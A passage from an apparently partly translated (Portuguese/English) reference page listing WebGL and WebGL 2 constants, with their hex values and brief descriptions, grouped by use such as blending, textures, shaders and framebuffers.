STENCIL_BUFFER_BIT0x00000400Passed to clear to clear the current stencil buffer.
COLOR_BUFFER_BIT0x00004000Passed to clear to clear the current color buffer.
+ +

Renderizar primitivos

+ +

Constants passed to {{domxref("WebGLRenderingContext.drawElements()")}} or {{domxref("WebGLRenderingContext.drawArrays()")}} to specify what kind of primitive to render.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
POINTS0x0000Passed to drawElements or drawArrays to draw single points.
LINES0x0001Passed to drawElements or drawArrays to draw lines. Each vertex connects to the one after it.
LINE_LOOP0x0002Passed to drawElements or drawArrays to draw lines. Each set of two vertices is treated as a separate line segment.
LINE_STRIP0x0003Passed to drawElements or drawArrays to draw a connected group of line segments from the first vertex to the last.
TRIANGLES0x0004Passed to drawElements or drawArrays to draw triangles. Each set of three vertices creates a separate triangle.
TRIANGLE_STRIP0x0005Passed to drawElements or drawArrays to draw a connected group of triangles.
TRIANGLE_FAN0x0006Passed to drawElements or drawArrays to draw a connected group of triangles. Each vertex connects to the previous and the first vertex in the fan.
+ +

Modos de mistura

+ +

Constants passed to {{domxref("WebGLRenderingContext.blendFunc()")}} or {{domxref("WebGLRenderingContext.blendFuncSeparate()")}} to specify the blending mode (for both, RBG and alpha, or separately).

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome da constanteValorDescrição
ZERO0Passed to blendFunc or blendFuncSeparate to turn off a component.
ONE1Passed to blendFunc or blendFuncSeparate to turn on a component.
SRC_COLOR0x0300Passed to blendFunc or blendFuncSeparate to multiply a component by the source elements color.
ONE_MINUS_SRC_COLOR0x0301Passed to blendFunc or blendFuncSeparate to multiply a component by one minus the source elements color.
SRC_ALPHA0x0302Passed to blendFunc or blendFuncSeparate to multiply a component by the source's alpha.
ONE_MINUS_SRC_ALPHA0x0303Passed to blendFunc or blendFuncSeparate to multiply a component by one minus the source's alpha.
DST_ALPHA0x0304Passed to blendFunc or blendFuncSeparate to multiply a component by the destination's alpha.
ONE_MINUS_DST_ALPHA0x0305Passed to blendFunc or blendFuncSeparate to multiply a component by one minus the destination's alpha.
DST_COLOR0x0306Passed to blendFunc or blendFuncSeparate to multiply a component by the destination's color.
ONE_MINUS_DST_COLOR0x0307Passed to blendFunc or blendFuncSeparate to multiply a component by one minus the destination's color.
SRC_ALPHA_SATURATE0x0308Passed to blendFunc or blendFuncSeparate to multiply a component by the minimum of source's alpha or one minus the destination's alpha.
CONSTANT_COLOR0x8001Passed to blendFunc or blendFuncSeparate to specify a constant color blend function.
ONE_MINUS_CONSTANT_COLOR0x8002Passed to blendFunc or blendFuncSeparate to specify one minus a constant color blend function.
CONSTANT_ALPHA0x8003Passed to blendFunc or blendFuncSeparate to specify a constant alpha blend function.
ONE_MINUS_CONSTANT_ALPHA0x8004Passed to blendFunc or blendFuncSeparate to specify one minus a constant alpha blend function.
+ +

Equações de mistura

+ +

Constants passed to {{domxref("WebGLRenderingContext.blendEquation()")}} or {{domxref("WebGLRenderingContext.blendEquationSeparate()")}} to control how the blending is calculated (for both, RBG and alpha, or separately).

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome da constanteValorDescrição
FUNC_ADD0x8006Passed to blendEquation or blendEquationSeparate to set an addition blend function.
FUNC_SUBSTRACT0x800APassed to blendEquation or blendEquationSeparate to specify a subtraction blend function (source - destination).
FUNC_REVERSE_SUBTRACT0x800BPassed to blendEquation or blendEquationSeparate to specify a reverse subtraction blend function (destination - source).
+ +

Obter informação do parâmetro GL

+ +

Constants passed to {{domxref("WebGLRenderingContext.getParameter()")}} to specify what information to return.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome da constanteValorDescrição
BLEND_EQUATION0x8009Passed to getParameter to get the current RGB blend function.
BLEND_EQUATION_RGB0x8009Passed to getParameter to get the current RGB blend function. Same as BLEND_EQUATION
BLEND_EQUATION_ALPHA0x883DPassed to getParameter to get the current alpha blend function. Same as BLEND_EQUATION
BLEND_DST_RGB0x80C8Passed to getParameter to get the current destination RGB blend function.
BLEND_SRC_RGB0x80C9Passed to getParameter to get the current destination RGB blend function.
BLEND_DST_ALPHA0x80CAPassed to getParameter to get the current destination alpha blend function.
BLEND_SRC_ALPHA0x80CBPassed to getParameter to get the current source alpha blend function.
BLEND_COLOR0x8005Passed to getParameter to return a the current blend color.
ARRAY_BUFFER_BINDING0x8894Passed to getParameter to get the array buffer binding.
ELEMENT_ARRAY_BUFFER_BINDING0x8895Passed to getParameter to get the current element array buffer.
LINE_WIDTH0x0B21Passed to getParameter to get the current lineWidth (set by the lineWidth method).
ALIASED_POINT_SIZE_RANGE0x846DPassed to getParameter to get the current size of a point drawn with gl.POINTS
ALIASED_LINE_WIDTH_RANGE0x846EPassed to getParameter to get the range of available widths for a line. Returns a length-2 array with the lo value at 0, and hight at 1.
CULL_FACE_MODE0x0B45Passed to getParameter to get the current value of cullFace. Should return FRONT, BACK, or FRONT_AND_BACK
FRONT_FACE0x0B46Passed to getParameter to determine the current value of frontFace. Should return CW or CCW.
DEPTH_RANGE0x0B70Passed to getParameter to return a length-2 array of floats giving the current depth range.
DEPTH_WRITEMASK0x0B72Passed to getParameter to determine if the depth write mask is enabled.
DEPTH_CLEAR_VALUE0x0B73Passed to getParameter to determine the current depth clear value.
DEPTH_FUNC0x0B74Passed to getParameter to get the current depth function. Returns NEVER, ALWAYS, LESS, EQUAL, LEQUAL, GREATER, GEQUAL, or NOTEQUAL.
STENCIL_CLEAR_VALUE0x0B91Passed to getParameter to get the value the stencil will be cleared to.
STENCIL_FUNC0x0B92Passed to getParameter to get the current stencil function. Returns NEVER, ALWAYS, LESS, EQUAL, LEQUAL, GREATER, GEQUAL, or NOTEQUAL.
STENCIL_FAIL0x0B94Passed to getParameter to get the current stencil fail function. Should return KEEP, REPLACE, INCR, DECR, INVERT, INCR_WRAP, or DECR_WRAP.
STENCIL_PASS_DEPTH_FAIL0x0B95Passed to getParameter to get the current stencil fail function should the depth buffer test fail. Should return KEEP, REPLACE, INCR, DECR, INVERT, INCR_WRAP, or DECR_WRAP.
STENCIL_PASS_DEPTH_PASS0x0B96Passed to getParameter to get the current stencil fail function should the depth buffer test pass. Should return KEEP, REPLACE, INCR, DECR, INVERT, INCR_WRAP, or DECR_WRAP.
STENCIL_REF0x0B97Passed to getParameter to get the reference value used for stencil tests.
STENCIL_VALUE_MASK0x0B93 
STENCIL_WRITEMASK0x0B98 
STENCIL_BACK_FUNC0x8800 
STENCIL_BACK_FAIL0x8801 
STENCIL_BACK_PASS_DEPTH_FAIL0x8802 
STENCIL_BACK_PASS_DEPTH_PASS0x8803 
STENCIL_BACK_REF0x8CA3 
STENCIL_BACK_VALUE_MASK0x8CA4 
STENCIL_BACK_WRITEMASK0x8CA5 
VIEWPORT0x0BA2Returns an {{jsxref("Int32Array")}} with four elements for the current viewport dimensions.
SCISSOR_BOX0x0C10Returns an {{jsxref("Int32Array")}} with four elements for the current scissor box dimensions.
COLOR_CLEAR_VALUE0x0C22 
COLOR_WRITEMASK0x0C23 
UNPACK_ALIGNMENT0x0CF5 
PACK_ALIGNMENT0x0D05 
MAX_TEXTURE_SIZE0x0D33 
MAX_VIEWPORT_DIMS0x0D3A 
SUBPIXEL_BITS0x0D50 
RED_BITS0x0D52 
GREEN_BITS0x0D53 
BLUE_BITS0x0D54 
ALPHA_BITS0x0D55 
DEPTH_BITS0x0D56 
STENCIL_BITS0x0D57 
POLYGON_OFFSET_UNITS0x2A00 
POLYGON_OFFSET_FACTOR0x8038 
TEXTURE_BINDING_2D0x8069 
SAMPLE_BUFFERS0x80A8 
SAMPLES0x80A9 
SAMPLE_COVERAGE_VALUE0x80AA 
SAMPLE_COVERAGE_INVERT0x80AB 
COMPRESSED_TEXTURE_FORMATS0x86A3 
VENDOR0x1F00 
RENDERER0x1F01 
VERSION0x1F02 
IMPLEMENTATION_COLOR_READ_TYPE0x8B9A 
IMPLEMENTATION_COLOR_READ_FORMAT0x8B9B 
BROWSER_DEFAULT_WEBGL0x9244 
+ +

Buffers

+ +

Constants passed to {{domxref("WebGLRenderingContext.bufferData()")}}, {{domxref("WebGLRenderingContext.bufferSubData()")}}, {{domxref("WebGLRenderingContext.bindBuffer()")}}, or {{domxref("WebGLRenderingContext.getBufferParameter()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
STATIC_DRAW0x88E4Passed to bufferData as a hint about whether the contents of the buffer are likely to be used often and not change often.
STREAM_DRAW0x88E0Passed to bufferData as a hint about whether the contents of the buffer are likely to not be used often.
DYNAMIC_DRAW0x88E8Passed to bufferData as a hint about whether the contents of the buffer are likely to be used often and change often.
ARRAY_BUFFER0x8892Passed to bindBuffer or bufferData to specify the type of buffer being used.
ELEMENT_ARRAY_BUFFER0x8893Passed to bindBuffer or bufferData to specify the type of buffer being used.
BUFFER_SIZE0x8764Passed to getBufferParameter to get a buffer's size.
BUFFER_USAGE0x8765Passed to getBufferParameter to get the hint for the buffer passed in when it was created.
+ +

Atributos de Vertex

+ +

Constants passed to {{domxref("WebGLRenderingContext.getVertexAttrib()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome da constanteValorDescrição
CURRENT_VERTEX_ATTRIB0x8626Passed to getVertexAttrib to read back the current vertex attribute.
VERTEX_ATTRIB_ARRAY_ENABLED0x8622 
VERTEX_ATTRIB_ARRAY_SIZE0x8623 
VERTEX_ATTRIB_ARRAY_STRIDE0x8624 
VERTEX_ATTRIB_ARRAY_TYPE0x8625 
VERTEX_ATTRIB_ARRAY_NORMALIZED0x886A 
VERTEX_ATTRIB_ARRAY_POINTER0x8645 
VERTEX_ATTRIB_ARRAY_BUFFER_BINDING0x889F 
+ +

Culling

+ +

Constants passed to {{domxref("WebGLRenderingContext.cullFace()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
CULL_FACE0x0B44Passed to enable/disable to turn on/off culling. Can also be used with getParameter to find the current culling method.
FRONT0x0404Passed to cullFace to specify that only front faces should be drawn.
BACK0x0405Passed to cullFace to specify that only back faces should be drawn.
FRONT_AND_BACK0x0408Passed to cullFace to specify that front and back faces should be drawn.
+ +

Enabling and disabling

+ +

Constants passed to {{domxref("WebGLRenderingContext.enable()")}} or {{domxref("WebGLRenderingContext.disable()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
BLEND0x0BE2Passed to enable/disable to turn on/off blending. Can also be used with getParameter to find the current blending method.
DEPTH_TEST0x0B71Passed to enable/disable to turn on/off the depth test. Can also be used with getParameter to query the depth test.
DITHER0x0BD0Passed to enable/disable to turn on/off dithering. Can also be used with getParameter to find the current dithering method.
POLYGON_OFFSET_FILL0x8037Passed to enable/disable to turn on/off the polygon offset. Useful for rendering hidden-line images, decals, and or solids with highlighted edges. Can also be used with getParameter to query the scissor test.
SAMPLE_ALPHA_TO_COVERAGE0x809EPassed to enable/disable to turn on/off the alpha to coverage. Used in multi-sampling alpha channels.
SAMPLE_COVERAGE0x80A0Passed to enable/disable to turn on/off the sample coverage. Used in multi-sampling.
SCISSOR_TEST0x0C11Passed to enable/disable to turn on/off the scissor test. Can also be used with getParameter to query the scissor test.
STENCIL_TEST0x0B90Passed to enable/disable to turn on/off the stencil test. Can also be used with getParameter to query the stencil test.
+ +

Errors

+ +

Constants returned from {{domxref("WebGLRenderingContext.getError()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
NO_ERROR0Returned from getError.
INVALID_ENUM0x0500Returned from getError.
INVALID_VALUE0x0501Returned from getError.
INVALID_OPERATION0x0502Returned from getError.
OUT_OF_MEMORY0x0505Returned from getError.
CONTEXT_LOST_WEBGL0x9242Returned from getError.
+ +

Front face directions

+ +

Constants passed to {{domxref("WebGLRenderingContext.frontFace()")}}.

+ + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
CW0x0900Passed to frontFace to specify the front face of a polygon is drawn in the clockwise direction
CCW0x0901Passed to frontFace to specify the front face of a polygon is drawn in the counter clockwise direction
+ +

Hints

+ +

Constants passed to {{domxref("WebGLRenderingContext.hint()")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
DONT_CARE0x1100There is no preference for this behavior.
FASTEST0x1101The most efficient behavior should be used.
NICEST0x1102The most correct or the highest quality option should be used.
GENERATE_MIPMAP_HINT0x8192Hint for the quality of filtering when generating mipmap images with {{domxref("WebGLRenderingContext.generateMipmap()")}}.
+ +

Data types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
BYTE0x1400 
UNSIGNED_BYTE0x1401 
SHORT0x1402 
UNSIGNED_SHORT0x1403 
INT0x1404 
UNSIGNED_INT0x1405 
FLOAT0x1406 
+ +

Pixel formats

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
DEPTH_COMPONENT0x1902 
ALPHA0x1906 
RGB0x1907 
RGBA0x1908 
LUMINANCE0x1909 
LUMINANCE_ALPHA0x190A 
+ +

Pixel types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
UNSIGNED_BYTE0x1401 
UNSIGNED_SHORT_4_4_4_40x8033 
UNSIGNED_SHORT_5_5_5_10x8034 
UNSIGNED_SHORT_5_6_50x8363 
+ +

Shaders

+ +

Constants passed to {{domxref("WebGLRenderingContext.createShader()")}} or {{domxref("WebGLRenderingContext.getShaderParameter()")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
FRAGMENT_SHADER0x8B30Passed to createShader to define a fragment shader.
VERTEX_SHADER0x8B31Passed to createShader to define a vertex shader
COMPILE_STATUS0x8B81Passed to getShaderParamter to get the status of the compilation. Returns false if the shader was not compiled. You can then query getShaderInfoLog to find the exact error
DELETE_STATUS0x8B80Passed to getShaderParamter to determine if a shader was deleted via deleteShader. Returns true if it was, false otherwise.
LINK_STATUS0x8B82Passed to getProgramParameter after calling linkProgram to determine if a program was linked correctly. Returns false if there were errors. Use getProgramInfoLog to find the exact error.
VALIDATE_STATUS0x8B83Passed to getProgramParameter after calling validateProgram to determine if it is valid. Returns false if errors were found.
ATTACHED_SHADERS0x8B85Passed to getProgramParameter after calling attachShader to determine if the shader was attached correctly. Returns false if errors occurred.
ACTIVE_ATTRIBUTES0x8B89Passed to getProgramParameter to get the number of attributes active in a program.
ACTIVE_UNIFORMS0x8B86Passed to getProgramParamter to get the number of uniforms active in a program.
MAX_VERTEX_ATTRIBS0x8869The maximum number of entries possible in the vertex attribute list.
MAX_VERTEX_UNIFORM_VECTORS0x8DFB 
MAX_VARYING_VECTORS0x8DFC 
MAX_COMBINED_TEXTURE_IMAGE_UNITS0x8B4D 
MAX_VERTEX_TEXTURE_IMAGE_UNITS0x8B4C 
MAX_TEXTURE_IMAGE_UNITS0x8872Implementation dependent number of maximum texture units. At least 8.
MAX_FRAGMENT_UNIFORM_VECTORS0x8DFD 
SHADER_TYPE0x8B4F 
SHADING_LANGUAGE_VERSION0x8B8C 
CURRENT_PROGRAM0x8B8D 
+ +

Depth or stencil tests

+ +

Constants passed to {{domxref("WebGLRenderingContext.depthFunc()")}} or {{domxref("WebGLRenderingContext.stencilFunc()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
NEVER0x0200Passed to depthFunction or stencilFunction to specify depth or stencil tests will never pass. i.e. Nothing will be drawn.
ALWAYS0x0207Passed to depthFunction or stencilFunction to specify depth or stencil tests will always pass. i.e. Pixels will be drawn in the order they are drawn.
LESS0x0201Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is less than the stored value.
EQUAL0x0202Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is equals to the stored value.
LEQUAL0x0203Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is less than or equal to the stored value.
GREATER0x0204Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is greater than the stored value.
GEQUAL0x0206Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is greater than or equal to the stored value.
NOTEQUAL0x0205Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is not equal to the stored value.
+ +

Stencil actions

+ +

Constants passed to {{domxref("WebGLRenderingContext.stencilOp()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
KEEP0x1E00 
REPLACE0x1E01 
INCR0x1E02 
DECR0x1E03 
INVERT0x150A 
INCR_WRAP0x8507 
DECR_WRAP0x8508 
+ +

Textures

+ +

Constants passed to {{domxref("WebGLRenderingContext.texParameteri()")}}, {{domxref("WebGLRenderingContext.texParameterf()")}}, {{domxref("WebGLRenderingContext.bindTexture()")}}, {{domxref("WebGLRenderingContext.texImage2D()")}}, and others.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
NEAREST0x2600 
LINEAR0x2601 
NEAREST_MIPMAP_NEAREST0x2700 
LINEAR_MIPMAP_NEAREST0x2701 
NEAREST_MIPMAP_LINEAR0x2702 
LINEAR_MIPMAP_LINEAR0x2703 
TEXTURE_MAG_FILTER0x2800 
TEXTURE_MIN_FILTER0x2801 
TEXTURE_WRAP_S0x2802 
TEXTURE_WRAP_T0x2803 
TEXTURE_2D0x0DE1 
TEXTURE0x1702 
TEXTURE_CUBE_MAP0x8513 
TEXTURE_BINDING_CUBE_MAP0x8514 
TEXTURE_CUBE_MAP_POSITIVE_X0x8515 
TEXTURE_CUBE_MAP_NEGATIVE_X0x8516 
TEXTURE_CUBE_MAP_POSITIVE_Y0x8517 
TEXTURE_CUBE_MAP_NEGATIVE_Y0x8518 
TEXTURE_CUBE_MAP_POSITIVE_Z0x8519 
TEXTURE_CUBE_MAP_NEGATIVE_Z0x851A 
MAX_CUBE_MAP_TEXTURE_SIZE0x851C 
TEXTURE0 - 310x84C0 - 0x84DFA texture unit.
ACTIVE_TEXTURE0x84E0The current active texture unit.
REPEAT0x2901 
CLAMP_TO_EDGE0x812F 
MIRRORED_REPEAT0x8370 
+ +

Uniform types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
FLOAT_VEC20x8B50 
FLOAT_VEC30x8B51 
FLOAT_VEC40x8B52 
INT_VEC20x8B53 
INT_VEC30x8B54 
INT_VEC40x8B55 
BOOL0x8B56 
BOOL_VEC20x8B57 
BOOL_VEC30x8B58 
BOOL_VEC40x8B59 
FLOAT_MAT20x8B5A 
FLOAT_MAT30x8B5B 
FLOAT_MAT40x8B5C 
SAMPLER_2D0x8B5E 
SAMPLER_CUBE0x8B60 
+ +

Shader precision-specified types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
LOW_FLOAT0x8DF0 
MEDIUM_FLOAT0x8DF1 
HIGH_FLOAT0x8DF2 
LOW_INT0x8DF3 
MEDIUM_INT0x8DF4 
HIGH_INT0x8DF5 
+ +

Framebuffers and renderbuffers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
FRAMEBUFFER0x8D40 
RENDERBUFFER0x8D41 
RGBA40x8056 
RGB5_A10x8057 
RGB5650x8D62 
DEPTH_COMPONENT160x81A5 
STENCIL_INDEX0x1901 
STENCIL_INDEX80x8D48 
DEPTH_STENCIL0x84F9 
RENDERBUFFER_WIDTH0x8D42 
RENDERBUFFER_HEIGHT0x8D43 
RENDERBUFFER_INTERNAL_FORMAT0x8D44 
RENDERBUFFER_RED_SIZE0x8D50 
RENDERBUFFER_GREEN_SIZE0x8D51 
RENDERBUFFER_BLUE_SIZE0x8D52 
RENDERBUFFER_ALPHA_SIZE0x8D53 
RENDERBUFFER_DEPTH_SIZE0x8D54 
RENDERBUFFER_STENCIL_SIZE0x8D55 
FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE0x8CD0 
FRAMEBUFFER_ATTACHMENT_OBJECT_NAME0x8CD1 
FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL0x8CD2 
FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE0x8CD3 
COLOR_ATTACHMENT00x8CE0 
DEPTH_ATTACHMENT0x8D00 
STENCIL_ATTACHMENT0x8D20 
DEPTH_STENCIL_ATTACHMENT0x821A 
NONE0 
FRAMEBUFFER_COMPLETE0x8CD5 
FRAMEBUFFER_INCOMPLETE_ATTACHMENT0x8CD6 
FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT0x8CD7 
FRAMEBUFFER_INCOMPLETE_DIMENSIONS0x8CD9 
FRAMEBUFFER_UNSUPPORTED0x8CDD 
FRAMEBUFFER_BINDING0x8CA6 
RENDERBUFFER_BINDING0x8CA7 
MAX_RENDERBUFFER_SIZE0x84E8 
INVALID_FRAMEBUFFER_OPERATION0x0506 
+ +

Pixel storage modes

+ +

Constants passed to {{domxref("WebGLRenderingContext.pixelStorei()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
UNPACK_FLIP_Y_WEBGL0x9240 
UNPACK_PREMULTIPLY_ALPHA_WEBGL0x9241 
UNPACK_COLORSPACE_CONVERSION_WEBGL0x9243 
+ +

Constantes adicionais definidas em WebGL 2

+ +

These constants are defined on the {{domxref("WebGL2RenderingContext")}} interface. All WebGL 1 constants are also available in a WebGL 2 context.

+ +

Obter a informação do parâmetro GL

+ +

Constants passed to {{domxref("WebGLRenderingContext.getParameter()")}} to specify what information to return.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
READ_BUFFER0x0C02 
UNPACK_ROW_LENGTH0x0CF2 
UNPACK_SKIP_ROWS0x0CF3 
UNPACK_SKIP_PIXELS0x0CF4 
PACK_ROW_LENGTH0x0D02 
PACK_SKIP_ROWS0x0D03 
PACK_SKIP_PIXELS0x0D04 
TEXTURE_BINDING_3D0x806A 
UNPACK_SKIP_IMAGES0x806D 
UNPACK_IMAGE_HEIGHT0x806E 
MAX_3D_TEXTURE_SIZE0x8073 
MAX_ELEMENTS_VERTICES0x80E8 
MAX_ELEMENTS_INDICES0x80E9 
MAX_TEXTURE_LOD_BIAS0x84FD 
MAX_FRAGMENT_UNIFORM_COMPONENTS0x8B49 
MAX_VERTEX_UNIFORM_COMPONENTS0x8B4A 
MAX_ARRAY_TEXTURE_LAYERS0x88FF 
MIN_PROGRAM_TEXEL_OFFSET0x8904 
MAX_PROGRAM_TEXEL_OFFSET0x8905 
MAX_VARYING_COMPONENTS0x8B4B 
FRAGMENT_SHADER_DERIVATIVE_HINT0x8B8B 
RASTERIZER_DISCARD0x8C89 
VERTEX_ARRAY_BINDING0x85B5 
MAX_VERTEX_OUTPUT_COMPONENTS0x9122 
MAX_FRAGMENT_INPUT_COMPONENTS0x9125 
MAX_SERVER_WAIT_TIMEOUT0x9111 
MAX_ELEMENT_INDEX0x8D6B 
+ +

Texturas

+ +

Constants passed to {{domxref("WebGLRenderingContext.texParameteri()")}}, {{domxref("WebGLRenderingContext.texParameterf()")}}, {{domxref("WebGLRenderingContext.bindTexture()")}}, {{domxref("WebGLRenderingContext.texImage2D()")}}, and others.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
RED0x1903 
RGB80x8051 
RGBA80x8058 
RGB10_A20x8059 
TEXTURE_3D0x806F 
TEXTURE_WRAP_R0x8072 
TEXTURE_MIN_LOD0x813A 
TEXTURE_MAX_LOD0x813B 
TEXTURE_BASE_LEVEL0x813C 
TEXTURE_MAX_LEVEL0x813D 
TEXTURE_COMPARE_MODE0x884C 
TEXTURE_COMPARE_FUNC0x884D 
SRGB0x8C40 
SRGB80x8C41 
SRGB8_ALPHA80x8C43 
COMPARE_REF_TO_TEXTURE0x884E 
RGBA32F0x8814 
RGB32F0x8815 
RGBA16F0x881A 
RGB16F0x881B 
TEXTURE_2D_ARRAY0x8C1A 
TEXTURE_BINDING_2D_ARRAY0x8C1D 
R11F_G11F_B10F0x8C3A 
RGB9_E50x8C3D 
RGBA32UI0x8D70 
RGB32UI0x8D71 
RGBA16UI0x8D76 
RGB16UI0x8D77 
RGBA8UI0x8D7C 
RGB8UI0x8D7D 
RGBA32I0x8D82 
RGB32I0x8D83 
RGBA16I0x8D88 
RGB16I0x8D89 
RGBA8I0x8D8E 
RGB8I0x8D8F 
RED_INTEGER0x8D94 
RGB_INTEGER0x8D98 
RGBA_INTEGER0x8D99 
R80x8229 
RG80x822B 
R16F0x822D 
R32F0x822E 
RG16F0x822F 
RG32F0x8230 
R8I0x8231 
R8UI0x8232 
R16I0x8233 
R16UI0x8234 
R32I0x8235 
R32UI0x8236 
RG8I0x8237 
RG8UI0x8238 
RG16I0x8239 
RG16UI0x823A 
RG32I0x823B 
RG32UI0x823C 
R8_SNORM0x8F94 
RG8_SNORM0x8F95 
RGB8_SNORM0x8F96 
RGBA8_SNORM0x8F97 
RGB10_A2UI0x906F 
TEXTURE_IMMUTABLE_FORMAT 0x912F 
TEXTURE_IMMUTABLE_LEVELS0x82DF 
+ +

Tipos de píxel

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
UNSIGNED_INT_2_10_10_10_REV0x8368 
UNSIGNED_INT_10F_11F_11F_REV0x8C3B 
UNSIGNED_INT_5_9_9_9_REV0x8C3E 
FLOAT_32_UNSIGNED_INT_24_8_REV0x8DAD 
UNSIGNED_INT_24_80x84FA 
HALF_FLOAT0x140B 
RG0x8227 
RG_INTEGER0x8228 
INT_2_10_10_10_REV0x8D9F 
+ +

Consultas

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
CURRENT_QUERY0x8865 
QUERY_RESULT 0x8866 
QUERY_RESULT_AVAILABLE0x8867 
ANY_SAMPLES_PASSED0x8C2F 
ANY_SAMPLES_PASSED_CONSERVATIVE0x8D6A 
+ +

Draw buffers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
MAX_DRAW_BUFFERS0x8824 
DRAW_BUFFER00x8825 
DRAW_BUFFER10x8826 
DRAW_BUFFER20x8827 
DRAW_BUFFER30x8828 
DRAW_BUFFER40x8829 
DRAW_BUFFER50x882A 
DRAW_BUFFER60x882B 
DRAW_BUFFER70x882C 
DRAW_BUFFER80x882D 
DRAW_BUFFER90x882E 
DRAW_BUFFER100x882F 
DRAW_BUFFER110x8830 
DRAW_BUFFER120x8831 
DRAW_BUFFER130x8832 
DRAW_BUFFER140x8833 
DRAW_BUFFER150x8834 
MAX_COLOR_ATTACHMENTS0x8CDF 
